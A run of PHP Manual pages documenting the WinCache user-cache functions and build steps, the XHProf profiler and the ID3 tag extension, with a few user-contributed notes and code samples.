wincache_ucache_exists
wincache_ucache_inc
WinCache Functions


Increments the value associated with the key

wincache_ucache_get
wincache_ucache_info
WinCache Functions
PHP Manual

wincache_ucache_inc

(PECL wincache >= 1.1.0)

wincache_ucache_inc — Increments the value associated with the key

Description

mixed wincache_ucache_inc ( string $key [, int $inc_by = 1 [, bool &$success ]] )

Increments the value associated with the key by 1 or as specified by inc_by.

Parameters

key

The key that was used to store the variable in the cache. key is case sensitive.

inc_by

The value by which the variable associated with the key will get incremented. If the argument is a floating point number it will be truncated to nearest integer. The variable associated with the key should be of type long, otherwise the function fails and returns FALSE.

success

Will be set to TRUE on success and FALSE on failure.

Return Values

Returns the incremented value on success and FALSE on failure.

Examples

Example #1 Using wincache_ucache_inc()

<?php
wincache_ucache_set('counter', 1);
var_dump(wincache_ucache_inc('counter', 2921, $success));
var_dump($success);
?>

The above example will output:

int(2922)
bool(true)

See Also

  • wincache_ucache_dec() - Decrements the value associated with the key
  • wincache_ucache_cas() - Compares the variable with old value and assigns new value to it

User Contributed Notes

There are no user contributed notes for this page.
wincache_ucache_get
wincache_ucache_info
WinCache Functions


Retrieves information about data stored in the user cache

wincache_ucache_inc
wincache_ucache_meminfo
WinCache Functions
PHP Manual

wincache_ucache_info

(PECL wincache >= 1.1.0)

wincache_ucache_info — Retrieves information about data stored in the user cache

Description

array wincache_ucache_info ([ bool $summaryonly = false [, string $key ]] )

Retrieves information about data stored in the user cache.

Parameters

summaryonly

Controls whether the returned array will contain information about individual cache entries along with the user cache summary.

key

The key of an entry in the user cache. If specified then the returned array will contain information only about that cache entry. If not specified and summaryonly is set to FALSE then the returned array will contain information about all entries in the cache.

Return Values

Array of meta data about user cache or FALSE on failure

The array returned by this function contains the following elements:

  • total_cache_uptime - total time in seconds that the user cache has been active
  • total_item_count - total number of elements that are currently in the user cache
  • is_local_cache - true is the cache metadata is for a local cache instance, false if the metadata is for the global cache
  • total_hit_count - number of times the data has been served from the cache
  • total_miss_count - number of times the data has not been found in the cache

  • ucache_entries - an array that contains the information about all the cached items:

    • key_name - name of the key which is used to store the data
    • value_type - type of value stored by the key
    • use_time - time in seconds since the file has been accessed in the opcode cache
    • last_check - time in seconds since the file has been checked for modifications
    • is_session - indicates if the data is a session variable
    • ttl_seconds - time remaining for the data to live in the cache, 0 meaning infinite
    • age_seconds - time elapsed from the time data has been added in the cache
    • hitcount - number of times data has been served from the cache

Examples

Example #1 Using wincache_ucache_info()

<?php
wincache_ucache_get('green');
wincache_ucache_set('green', 2922);
wincache_ucache_get('green');
wincache_ucache_get('green');
wincache_ucache_get('green');
print_r(wincache_ucache_info());
?>

The above example will output:

Array
( ["total_cache_uptime"] => int(0)
  ["is_local_cache"] => bool(false)
  ["total_item_count"] => int(1)
  ["total_hit_count"] => int(3)
  ["total_miss_count"] => int(1)
  ["ucache_entries"] => Array(1)
    ( [1] => Array(6)
      (
        ["key_name"] => string(5) "green"
        ["value_type"] => string(4) "long"
        ["is_session"] => int(0)
        ["ttl_seconds"] => int(0)
        ["age_seconds"] => int(0)
        ["hitcount"] => int(3)
       )
    )
)

See Also

  • wincache_fcache_meminfo() - Retrieves information about file cache memory usage
  • wincache_ocache_fileinfo() - Retrieves information about files cached in the opcode cache
  • wincache_ocache_meminfo() - Retrieves information about opcode cache memory usage
  • wincache_rplist_meminfo() - Retrieves information about memory usage by the resolve file path cache
  • wincache_rplist_fileinfo() - Retrieves information about resolve file path cache
  • wincache_refresh_if_changed() - Refreshes the cache entries for the cached files
  • wincache_ucache_meminfo() - Retrieves information about user cache memory usage
  • wincache_scache_info() - Retrieves information about files cached in the session cache
  • wincache_scache_meminfo() - Retrieves information about session cache memory usage

User Contributed Notes

don dot raman at microsoft dot com 05-Mar-2010 11:53
One thing to note is that 'is_local_cache' field returned as one of the metadata in the array for User Cache will always return boolean false as User Cache is always global and never local.
wincache_ucache_inc
wincache_ucache_meminfo
WinCache Functions


Retrieves information about user cache memory usage

wincache_ucache_info
wincache_ucache_set
WinCache Functions
PHP Manual

wincache_ucache_meminfo

(PECL wincache >= 1.1.0)

wincache_ucache_meminfo — Retrieves information about user cache memory usage

Description

array wincache_ucache_meminfo ( void )

Retrieves information about memory usage by user cache.

Return Values

Array of meta data about user cache memory usage or FALSE on failure

The array returned by this function contains the following elements:

  • memory_total - amount of memory in bytes allocated for the user cache
  • memory_free - amount of free memory in bytes available for the user cache
  • num_used_blks - number of memory blocks used by the user cache
  • num_free_blks - number of free memory blocks available for the user cache
  • memory_overhead - amount of memory in bytes used for the user cache internal structures

Examples

Example #1 A wincache_ucache_meminfo() example

<pre>
<?php
print_r(wincache_ucache_meminfo());
?>
</pre>

The above example will output:

Array
(
    [memory_total] => 5242880
    [memory_free] => 5215056
    [num_used_blks] => 6
    [num_free_blks] => 3
    [memory_overhead] => 176
)

See Also

  • wincache_fcache_fileinfo() - Retrieves information about files cached in the file cache
  • wincache_fcache_meminfo() - Retrieves information about file cache memory usage
  • wincache_ocache_fileinfo() - Retrieves information about files cached in the opcode cache
  • wincache_rplist_fileinfo() - Retrieves information about resolve file path cache
  • wincache_rplist_meminfo() - Retrieves information about memory usage by the resolve file path cache
  • wincache_refresh_if_changed() - Refreshes the cache entries for the cached files
  • wincache_ucache_info() - Retrieves information about data stored in the user cache
  • wincache_scache_info() - Retrieves information about files cached in the session cache
  • wincache_scache_meminfo() - Retrieves information about session cache memory usage

User Contributed Notes

There are no user contributed notes for this page.
wincache_ucache_info
wincache_ucache_set
WinCache Functions


Adds a variable in user cache and overwrites a variable if it already exists in the cache

wincache_ucache_meminfo
wincache_unlock
WinCache Functions
PHP Manual

wincache_ucache_set

(PECL wincache >= 1.1.0)

wincache_ucache_set — Adds a variable in user cache and overwrites a variable if it already exists in the cache

Description

bool wincache_ucache_set ( mixed $key , mixed $value [, int $ttl = 0 ] )
bool wincache_ucache_set ( array $values [, mixed $unused [, int $ttl = 0 ]] )

Adds a variable in user cache. Overwrites a variable if it already exists in the cache. The added or updated variable remains in the user cache unless its time to live expires or it is deleted by using wincache_ucache_delete() or wincache_ucache_clear() functions.

Parameters

key

Store the variable using this key name. If a variable with same key is already present the function will overwrite the previous value with the new one. key is case sensitive. key can also take array of name => value pairs where names will be used as keys. This can be used to add multiple values in the cache in one operation, thus avoiding race condition.

value

Value of a variable to store. Value supports all data types except resources, such as file handles. This paramter is ignored if first argument is an array. A general guidance is to pass NULL as value while using array as key. If value is an object, or an array containing objects, then the objects will be serialized. See __sleep() for details on serializing objects.

values

Associative array of keys and values.

ttl

Time for the variable to live in the cache in seconds. After the value specified in ttl has passed the stored variable will be deleted from the cache. This parameter takes a default value of 0 which means the variable will stay in the cache unless explicitly deleted by using wincache_ucache_delete() or wincache_ucache_clear() functions.

Return Values

If key is string, the function returns TRUE on success and FALSE on failure.

If key is an array, the function returns:

  • If all the name => value pairs in the array can be set, function returns an empty array;
  • If all the name => value pairs in the array cannot be set, function returns FALSE;
  • If some can be set while others cannot, function returns an array with name=>value pair for which the addition failed in the user cache.

Examples

Example #1 wincache_ucache_set() with key as a string

<?php
$bar = 'BAR';
var_dump(wincache_ucache_set('foo', $bar));
var_dump(wincache_ucache_get('foo'));
$bar1 = 'BAR1';
var_dump(wincache_ucache_set('foo', $bar1));
var_dump(wincache_ucache_get('foo'));
?>

The above example will output:

bool(true)
string(3) "BAR"
bool(true)
string(3) "BAR1"

Example #2 wincache_ucache_set() with key as an array

<?php
$colors_array = array('green' => '5', 'Blue' => '6', 'yellow' => '7', 'cyan' => '8');
var_dump(wincache_ucache_set($colors_array));
var_dump(wincache_ucache_set($colors_array));
var_dump(wincache_ucache_get('Blue'));
?>

The above example will output:

array(0) {}
array(0) {}
string(1) "6"

See Also

  • wincache_ucache_add() - Adds a variable in user cache only if variable does not already exist in the cache
  • wincache_ucache_get() - Gets a variable stored in the user cache
  • wincache_ucache_delete() - Deletes variables from the user cache
  • wincache_ucache_clear() - Deletes entire content of the user cache
  • wincache_ucache_exists() - Checks if a variable exists in the user cache
  • wincache_ucache_meminfo() - Retrieves information about user cache memory usage
  • wincache_ucache_info() - Retrieves information about data stored in the user cache
  • __sleep()

User Contributed Notes

don dot raman at microsoft dot com 05-Mar-2010 12:08
As of writing this note (PHP 5.3.1) serialization of closure is not allowed.

This means a code like the one below:

<?php
//Closure
$bar3 = function($a) {
    return $a * 2;
};
wincache_ucache_set('foo3', $bar3);
var_dump(wincache_ucache_get('foo3'));
echo "<br>";
?>

Will throw exception:
[11-Feb-2010 09:25:33] PHP Fatal error:  Uncaught exception 'Exception' with message 'Serialization of 'Closure' is not allowed' in C:\inetpub\wwwroot\phptest\tests\ucache\wincache15.php:6
Stack trace:
#0 C:\inetpub\wwwroot\phptest\tests\ucache\wincache15.php(6): wincache_ucache_set('foo3', Object(Closure))
#1 {main}
  thrown in C:\inetpub\wwwroot\phptest\tests\ucache\wincache15.php on line 6

However one catch this exception like:
<?php
//Closure
$bar3 = function($a) {
    return $a * 2;
};
try
{
    wincache_ucache_set('foo3', $bar3);
}
catch (Exception $e)
{
    var_dump($e->getMessage());
}
var_dump(wincache_ucache_get('foo3'));
echo "<br>";
?>

This will generate output as shown beloe:
string(41) "Serialization of 'Closure' is not allowed" NULL
wincache_ucache_meminfo
wincache_unlock
WinCache Functions


Releases an exclusive lock on a given key

wincache_ucache_set
Building for Windows
WinCache Functions
PHP Manual

wincache_unlock

(PECL wincache >= 1.1.0)

wincache_unlock — Releases an exclusive lock on a given key

Description

bool wincache_unlock ( string $key )

Releases an exclusive lock that was obtained on a given key by using wincache_lock(). If any other process was blocked waiting for the lock on this key, that process will be able to obtain the lock.

Warning

Using of the wincache_lock() and wincache_unlock() can cause deadlocks when executing PHP scripts in a multi-process environment like FastCGI. Do not use these functions unless you are absolutely sure you need to use them. For the majority of the operations on the user cache it is not necessary to use these functions.

Parameters

key

Name of the key in the cache to release the lock on.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Using wincache_unlock()

<?php
$fp = fopen("/tmp/lock.txt", "r+");
if (wincache_lock(“lock_txt_lock”)) { // do an exclusive lock
    ftruncate($fp, 0); // truncate file
    fwrite($fp, "Write something here\n");
    wincache_unlock(“lock_txt_lock”); // release the lock
} else {
    echo "Couldn't get the lock!";
}
fclose($fp);
?>

See Also

  • wincache_lock() - Acquires an exclusive lock on a given key
  • wincache_ucache_set() - Adds a variable in user cache and overwrites a variable if it already exists in the cache
  • wincache_ucache_get() - Gets a variable stored in the user cache
  • wincache_ucache_delete() - Deletes variables from the user cache
  • wincache_ucache_clear() - Deletes entire content of the user cache
  • wincache_ucache_exists() - Checks if a variable exists in the user cache
  • wincache_ucache_meminfo() - Retrieves information about user cache memory usage
  • wincache_ucache_info() - Retrieves information about data stored in the user cache
  • wincache_scache_info() - Retrieves information about files cached in the session cache

User Contributed Notes

There are no user contributed notes for this page.
wincache_ucache_set
Building for Windows
WinCache Functions


Building for Windows

Table of Contents

  • Prerequisites
  • Compiling and building
  • Verifying the build

User Contributed Notes

There are no user contributed notes for this page.
wincache_unlock
Prerequisites
WinCache


Prerequisites

Building WinCache extension will require:

  1. PHP source code
  2. PHP build environment
  3. WinCache source code

For completing first two steps, follow the step-by-step guide for how to » build PHP on Windows.

For getting the WinCache source code follow the instructions described in Downloading PECL extensions.

User Contributed Notes

There are no user contributed notes for this page.
Building for Windows
Compiling and building
Building for Windows


Compiling and building

The following steps describe how to compile and build WinCache on Windows OS:

  1. Open a command prompt which is used to build PHP

  2. Go to the root folder where PHP sources are present

  3. Run the command:

    cscript.exe win32\build\buildconf.js

  4. Run the command:

    configure.bat --help
    The output will contain a new flag --enable-wincache.

  5. Run the command:

    configure.js [all options used to build PHP] --enable-wincache
    --enable-wincache is the only extra option which is required to ensure that WinCache extension gets built properly. This option will build WinCache and will statically link it with PHP dll. To build WinCache extension as a stand-alone DLL use the option --enable-wincache=shared.

  6. Run the command:

    nmake

User Contributed Notes

There are no user contributed notes for this page.
Prerequisites
Verifying the build
Building for Windows


Verifying the build

The following steps describe how to verify that WinCache has been built correctly:

  1. Go to the folder where the PHP binaries are built

  2. Run the command:

    php.exe -n -d extension=php_wincache.dll -re wincache
    If WinCache has been built properly, the output of this command will list the INI directives and functions supported by WinCache.

User Contributed Notes

There are no user contributed notes for this page.
Compiling and building
Xhprof
Building for Windows


Hierarchical Profiler

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Examples
  • Xhprof Functions
    • xhprof_disable — Stops xhprof profiler
    • xhprof_enable — Start xhprof profiler
    • xhprof_sample_disable — Stops xhprof sample profiler
    • xhprof_sample_enable — Description

User Contributed Notes

There are no user contributed notes for this page.
Verifying the build
Introduction
Affecting PHP's Behaviour


Introduction

XHProf is a light-weight hierarchical and instrumentation based profiler. During the data collection phase, it keeps track of call counts and inclusive metrics for arcs in the dynamic callgraph of a program. It computes exclusive metrics in the reporting/post processing phase, such as wall (elapsed) time, CPU time and memory usage. A functions profile can be broken down by callers or callees. XHProf handles recursive functions by detecting cycles in the callgraph at data collection time itself and avoiding the cycles by giving unique depth qualified names for the recursive invocations.

XHProf includes a simple HTML based user interface (written in PHP). The browser based UI for viewing profiler results makes it easy to view results or to share results with peers. A callgraph image view is also supported.

XHProf reports can often be helpful in understanding the structure of the code being executed. The hierarchical nature of the reports can be used to determine, for example, what chain of calls led to a particular function getting called.

XHProf supports ability to compare two runs (a.k.a. "diff" reports) or aggregate data from multiple runs. Diff and aggregate reports, much like single run reports, offer "flat" as well as "hierarchical" views of the profile.

Additional documentation can be found via the » facebook xhprof website.

User Contributed Notes

There are no user contributed notes for this page.
Xhprof
Installing/Configuring
Xhprof


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
Xhprof


Requirements

Although not required, xhprof includes an interface that's written in PHP. It's used to save and display the profiled data in a usable way, where viewing is done via a web browser. So, a PHP enabled web server will likely make the xhprof experience more useful.

There's also a fork of the GUI interface at » http://github.com/preinheimer/xhprof

User Contributed Notes

There are no user contributed notes for this page.
Installing/Configuring
Installation
Installing/Configuring


Installation

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/xhprof

User Contributed Notes

There are no user contributed notes for this page.
Requirements
Runtime Configuration
Installing/Configuring


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

Xhprof Configure Options
Name | Default | Changeable | Changelog
xhprof.output_dir | "" | PHP_INI_ALL |

Here's a short explanation of the configuration directives.

xhprof.output_dir string

Directory used by the default implementation of the iXHProfRuns interface (namely, the XHProfRuns_Default class) for storing XHProf runs.

User Contributed Notes

There are no user contributed notes for this page.
Installation
Resource Types
Installing/Configuring


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

XHPROF_FLAGS_NO_BUILTINS (integer)
Used to skip all built-in (internal) functions.
XHPROF_FLAGS_CPU (integer)
Used to add CPU profiling information to the output.
XHPROF_FLAGS_MEMORY (integer)
Used to add memory profiling information to the output.

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
Examples
Xhprof


Examples

Example #1 Xhprof example with the optional GUI

This example starts and stops the profiler, then uses the bundled GUI interface to save and parse the results. In other words, the code from the extension itself ends at the call to xhprof_disable().

<?php
xhprof_enable(XHPROF_FLAGS_CPU + XHPROF_FLAGS_MEMORY);

for ($i = 0; $i <= 1000; $i++) {
    $a = $i * $i;
}

$xhprof_data = xhprof_disable();

$XHPROF_ROOT = "/tools/xhprof/";
include_once $XHPROF_ROOT . "/xhprof_lib/utils/xhprof_lib.php";
include_once $XHPROF_ROOT . "/xhprof_lib/utils/xhprof_runs.php";

$xhprof_runs = new XHProfRuns_Default();
$run_id = $xhprof_runs->save_run($xhprof_data, "xhprof_testing");

echo "http://localhost/xhprof/xhprof_html/index.php?run={$run_id}&source=xhprof_testing\n";

?>

The above example will output something similar to:

http://localhost/xhprof/xhprof_html/index.php?run=t11_4bdf44d21121f&source=xhprof_testing

User Contributed Notes

There are no user contributed notes for this page.
Predefined Constants
Xhprof Functions
Xhprof


Xhprof Functions

Table of Contents

  • xhprof_disable — Stops xhprof profiler
  • xhprof_enable — Start xhprof profiler
  • xhprof_sample_disable — Stops xhprof sample profiler
  • xhprof_sample_enable — Description

User Contributed Notes

There are no user contributed notes for this page.
Examples
xhprof_disable
Xhprof


Stops xhprof profiler

Xhprof Functions
xhprof_enable
Xhprof Functions
PHP Manual

xhprof_disable

(PECL xhprof >= 0.9.0)

xhprof_disable — Stops xhprof profiler

Description

array xhprof_disable ( void )

Stops the profiler, and returns xhprof data from the run.

Parameters

This function has no parameters.

Return Values

An array of xhprof data, from the run.

Examples

Example #1 xhprof_disable() example

<?php
xhprof_enable();

$foo = strlen("foo bar");

$xhprof_data = xhprof_disable();

print_r($xhprof_data);
?>

The above example will output something similar to:

Array
(
    [main()==>strlen] => Array
        (
            [ct] => 1
            [wt] => 279
        )

    [main()==>xhprof_disable] => Array
        (
            [ct] => 1
            [wt] => 9
        )

    [main()] => Array
        (
            [ct] => 1
            [wt] => 610
        )

)

User Contributed Notes

There are no user contributed notes for this page.
Xhprof Functions
xhprof_enable
Xhprof Functions


Start xhprof profiler

xhprof_disable
xhprof_sample_disable
Xhprof Functions
PHP Manual

xhprof_enable

(PECL xhprof >= 0.9.0)

xhprof_enable — Start xhprof profiler

Description

void xhprof_enable ([ int $flags = 0 [, array $options ]] )

Start xhprof profiling.

Parameters

flags

Optional flags to add additional information to the profiling. See the XHprof constants for further information about these flags, e.g., XHPROF_FLAGS_MEMORY to enable memory profiling.

options

An array of optional options, namely, the 'ignored_functions' option to pass in functions to be ignored during profiling.

Return Values

NULL

Changelog

Version | Description
0.9.2 | The optional options parameter was added.

Examples

Example #1 xhprof_enable() examples

<?php
// 1. elapsed time + memory + CPU profiling; and ignore built-in (internal) functions
xhprof_enable(XHPROF_FLAGS_NO_BUILTINS | XHPROF_FLAGS_CPU | XHPROF_FLAGS_MEMORY);

// 2. elapsed time profiling; ignore call_user_func* during profiling
xhprof_enable(
    0,
    array('ignored_functions' =>  array('call_user_func',
                                        'call_user_func_array')));

// 3. elapsed time + memory profiling; ignore call_user_func* during profiling
xhprof_enable(
    XHPROF_FLAGS_MEMORY,
    array('ignored_functions' =>  array('call_user_func',
                                        'call_user_func_array')));
?>

See Also

  • xhprof_disable() - Stops xhprof profiler
  • xhprof_sample_enable() - Description
  • memory_get_usage() - Returns the amount of memory allocated to PHP
  • getrusage() - Gets the current resource usages

User Contributed Notes

There are no user contributed notes for this page.
xhprof_disable
xhprof_sample_disable
Xhprof Functions


Stops xhprof sample profiler

xhprof_enable
xhprof_sample_enable
Xhprof Functions
PHP Manual

xhprof_sample_disable

(PECL xhprof >= 0.9.0)

xhprof_sample_disable — Stops xhprof sample profiler

Description

array xhprof_sample_disable ( void )

Stops the sample mode xhprof profiler, and

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

An array of xhprof sample data, from the run.

Examples

Example #1 xhprof_sample_disable() example

<?php
xhprof_sample_enable();

for ($i = 0; $i <= 10000; $i++) {
    $a = strlen($i);
    $b = $i * $a;
    $c = rand();
}

$xhprof_data = xhprof_sample_disable();

print_r($xhprof_data);
?>

The above example will output something similar to:

Array
(
    [1272935300.800000] => main()
    [1272935300.900000] => main()
)

User Contributed Notes

There are no user contributed notes for this page.
xhprof_enable
xhprof_sample_enable
Xhprof Functions


xhprof_sample_disable
Audio Formats Manipulation
Xhprof Functions
PHP Manual

xhprof_sample_enable

(PECL xhprof >= 0.9.0)

xhprof_sample_enable — Description

Description

void xhprof_sample_enable ( void )

Starts profiling in sample mode, which is a lighter weight version of xhprof_enable(). The sampling interval is 0.1 seconds, and samples record the full function call stack. The main use case is when lower overhead is required when doing performance monitoring and diagnostics.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

NULL

See Also

  • xhprof_sample_disable() - Stops xhprof sample profiler
  • xhprof_enable() - Start xhprof profiler
  • memory_get_usage() - Returns the amount of memory allocated to PHP
  • getrusage() - Gets the current resource usages

User Contributed Notes

There are no user contributed notes for this page.
xhprof_sample_disable
Audio Formats Manipulation
Xhprof Functions


Audio Formats Manipulation

  • ID3 — ID3 Tags
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • ID3 Functions
  • KTaglib
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • KTaglib_MPEG_File — The KTaglib_MPEG_File class
    • KTaglib_MPEG_AudioProperties — The KTaglib_MPEG_AudioProperties class
    • KTaglib_Tag — The KTaglib_Tag class
    • KTaglib_ID3v2_Tag — The KTaglib_ID3v2_Tag class
    • KTaglib_ID3v2_Frame — The KTaglib_ID3v2_Frame class
    • KTaglib_ID3v2_AttachedPictureFrame — The KTaglib_ID3v2_AttachedPictureFrame class
  • oggvorbis — OGG/Vorbis
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Context options
    • Examples
  • OpenAL — OpenAL Audio Bindings
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • OpenAL Functions

User Contributed Notes

There are no user contributed notes for this page.
xhprof_sample_enable
ID3
Function Reference


ID3 Tags

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • ID3 Functions
    • id3_get_frame_long_name — Get the long name of an ID3v2 frame
    • id3_get_frame_short_name — Get the short name of an ID3v2 frame
    • id3_get_genre_id — Get the id for a genre
    • id3_get_genre_list — Get all possible genre values
    • id3_get_genre_name — Get the name for a genre id
    • id3_get_tag — Get all information stored in an ID3 tag
    • id3_get_version — Get version of an ID3 tag
    • id3_remove_tag — Remove an existing ID3 tag
    • id3_set_tag — Update information stored in an ID3 tag

User Contributed Notes

There are no user contributed notes for this page.
Audio Formats Manipulation
Introduction
Audio Formats Manipulation


Introduction

These functions let you read and manipulate ID3 tags. ID3 tags are used in MP3 files to store title of the song, as well as information about the artist, album, genre, year and track number.

Since version 0.2 it is also possible to extract text frames from ID3 v2.2+ tags.

User Contributed Notes

There are no user contributed notes for this page.
ID3
Installing/Configuring
ID3


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
ID3


Installation

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/id3.

A DLL for this PECL extension is currently unavailable. See also the building on Windows section.

User Contributed Notes

thephpguru at hotmail dot com 17-Aug-2011 07:16
To install the PHP/Pecl audio file ID3 functions onto Fedora 13 with Apache 2.2.17:
1) Download PHP5.X or higher.
2) Configure, Make and Make Install PHP as desired.
2) After PHP is up and running download the latest version of ID3.X (0.2 or higher)
3) CD to php5.X/ext dir.
4) Uncompress ID3.x into the ext dir.
5) CD into your ID3.X dir.
6) Run the following:
    1) phpize (ignore phpize failed error).
    2) ./configure
    3) make
    4) make install
7) Add extension=/SomeDir/SomeDir/php-5.X/ext/id3-0.2/modules/id3.so to your php.ini file.
8) Restart Apache.
9) Test your installation with a MP3 that has valid ID3 Tags. I suggest that you edit your mp3 file with EasyTag or Kid3 (Preferred. Be sure to convert the tags to version 2.3 from the tools menu).
Requirements
Runtime Configuration
Installing/Configuring


Predefined Constants

Most of the id3 functions either let you specify or return a tag version. In order to specify the version please use on of these constants.

ID3_V1_0 (integer)
ID3_V1_0 is used if you are working with ID3 V1.0 tags. These tags may contain the fields title, artist, album, genre, year and comment.
ID3_V1_1 (integer)
ID3_V1_1 is used if you are working with ID3 V1.1 tags. These tags may all information contained in v1.0 tags plus the track number.
ID3_V2_1 (integer)
ID3_V2_1 is used if you are working with ID3 V2.1 tags.
ID3_V2_2 (integer)
ID3_V2_2 is used if you are working with ID3 V2.2 tags.
ID3_V2_3 (integer)
ID3_V2_3 is used if you are working with ID3 V2.3 tags.
ID3_V2_4 (integer)
ID3_V2_4 is used if you are working with ID3 V2.4 tags.
ID3_BEST (integer)
ID3_BEST is used if would like to let the id3 functions determine which tag version should be used.

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
ID3 Functions
ID3


ID3 Functions

Table of Contents

  • id3_get_frame_long_name — Get the long name of an ID3v2 frame
  • id3_get_frame_short_name — Get the short name of an ID3v2 frame
  • id3_get_genre_id — Get the id for a genre
  • id3_get_genre_list — Get all possible genre values
  • id3_get_genre_name — Get the name for a genre id
  • id3_get_tag — Get all information stored in an ID3 tag
  • id3_get_version — Get version of an ID3 tag
  • id3_remove_tag — Remove an existing ID3 tag
  • id3_set_tag — Update information stored in an ID3 tag

User Contributed Notes

regindk at gmail dot com 29-Dec-2006 06:54
Using the ID3 extension you might be interested in some more functionality for working with MP3-files that is missing in the PHP C-modules.

Such as extracting for instance the first 10 seconds of a song, merging MP3 files, calculating the exact length of the MP3 file.

The following class in pure PHP is available for that:
http://www.sourcerally.net/Scripts/20-PHP-MP3-Class
jbwalker at telus dot net 15-Nov-2006 11:58
Windows XP users may be having trouble with routines provided here and may (as above) only have access to "read" classes. The following very simplified "write" can be used for replacing Windows Media Player file tags, and with care and adjustments, can be used more generally.

<?php
 define(_Title,"TIT2");
 define(_Artist,"TPE1");
 define(_Group,"TPE2");
 define(_Album,"TALB");
 define(_Genre,"TCON");
 define(_TrackNo,"TRCK");
 define(_Year,"TYER");
 $frames = array(_Album=>"The Ultimate Experience",
  _TrackNo=>"1",
  _Title=>"All along the watchtower",
  _Artist=>"Jimi Hendrix",
  _Group=>"",
  _Year=>"19xx",
  _Genre=>"Rock");

#..........................................
#       WRITE ID3 TAGS (Write MP3 [v1, v2]
#..........................................
function writeTags($mp3) {
    $fl = file_get_contents($mp3);
    $Header = substr($fl,0,10);
    $tagLen = calcDecTagLen(substr($Header,6,4),$tagLen);
    $music = substr($fl,$tagLen+10,-128);
    # Can use input Header for output but you may
    # wish to change the output filename for testing
        $tagLen = 1024; # or whatever you like >your actual
        $Header = substr($Header,0,6).setHexTagLen($tagLen);
        file_put_contents($mp3,mkV2Tag($Header,$tagLen).$music.mkV1Tag());
}
#   Create the V2 tag
function mkV2Tag($Hdr,$tagLen) {
    Global $frames;
    $null = chr(0);
    $nl3 = $null.$null.$null;            # 0 bytes for flags and encoding
    $out = "";
    foreach($frames as $ky=>$val) {
        $n=strlen($val)+1;
        $out.= $ky.mkFrmLen($n).$nl3.$val;
        }
    return $Hdr.str_pad($out,$tagLen,$null);
    }
#    Calculate Tag Length from bytes 6-10 of existing header
function calcDecTagLen($word) {
    $m = 1;
    $int = 0;
    for ($i=strlen($word)-1;$i>-1;$i--) {
        $int +=$m*ord($word[$i]);
        $m=$m*128;
        }
    return $int;
    }
#    Make the 4 byte frame length value for the V2tag
function mkFrmLen($int) {
    $hx = "";
    while ($int>0) {
        $n = $int % 256;
        $hx = chr($n).$hx;
        $int=floor($int/256);
        }
    return str_pad($hx,4,chr(0),STR_PAD_LEFT);
    }
#    Create the 128 byte V1 tag
function mkV1Tag() {
    Global $frames;
    $tagOut = "TAG".
        adj($frames[_Title]).
        adj($frames[_Artist]).
        adj($frames[_Album]).
        str_pad($frames[_Year],4).
        str_pad(" ",29," ").
        chr($frames[_TrackNo]).
        chr($n);
    return $tagOut;
    }
#    Pad the header to 30 characters
function adj($str) {
    return substr(str_pad($str,30,chr(0)),0,30);
    }

#     This is a simple example for an mp3 in current folder
    writeTags("01-Cognac Blues.mp3");
?>

The setHexTagLen can be figured out from the calcDecTagLen but here's some sample code.

<?php
function setHexTagLen($int) {
    $n = pow(128,3);
    $intVar = $int;
    $m = "";
    for ($i=0;$i<4;$i++) {
        $m .= chr(floor($intVar/$n));
        $intVar = $intVar % $n;
        $n=$n/128;
        }
    return $m;
}
?>
wmd at wazee dot org 11-Jul-2004 02:31
There are several highly developed id3 reader classes written in php that include id3v2 support, and support for other file formats (not just mpeg & id3). I recommend http://getid3.sourceforge.net/ as well as the id3 reader class integrated in the Zina is not Andromeda project (http://pancake.org/zina.html)
Predefined Constants
id3_get_frame_long_name
ID3


Get the long name of an ID3v2 frame

ID3 Functions
id3_get_frame_short_name
ID3 Functions
PHP Manual

id3_get_frame_long_name

(PECL id3 >= 0.2)

id3_get_frame_long_name — Get the long name of an ID3v2 frame

Description

string id3_get_frame_long_name ( string $frameId )

id3_get_frame_long_name() returns the long name for an ID3v2 frame.

Parameters

frameId

An ID3v2 frame

Return Values

Returns the frame long name or FALSE on errors.

Examples

Example #1 id3_get_frame_long_name() example

<?php
$longName = id3_get_frame_long_name("TOLY");
echo $longName;
?>

The above example will output:

Original lyricist(s)/text writer(s)

See Also

  • id3_get_frame_short_name() - Get the short name of an ID3v2 frame

User Contributed Notes

There are no user contributed notes for this page.
ID3 Functions
id3_get_frame_short_name
ID3 Functions


Get the short name of an ID3v2 frame

id3_get_frame_long_name
id3_get_genre_id
ID3 Functions
PHP Manual

id3_get_frame_short_name

(PECL id3 >= 0.2)

id3_get_frame_short_name — Get the short name of an ID3v2 frame

Description

string id3_get_frame_short_name ( string $frameId )

id3_get_frame_short_name() returns the short name for an ID3v2 frame.

Parameters

frameId

An ID3v2 frame

Return Values

Returns the frame short name or FALSE on errors.

The values returned by id3_get_frame_short_name() are used in the array returned by id3_get_tag().

Examples

Example #1 id3_get_frame_short_name() example

<?php
$shortName = id3_get_frame_short_name("TOLY");
echo $shortName;
?>

The above example will output:

originalLyricist

See Also

  • id3_get_frame_long_name() - Get the long name of an ID3v2 frame

User Contributed Notes

There are no user contributed notes for this page.
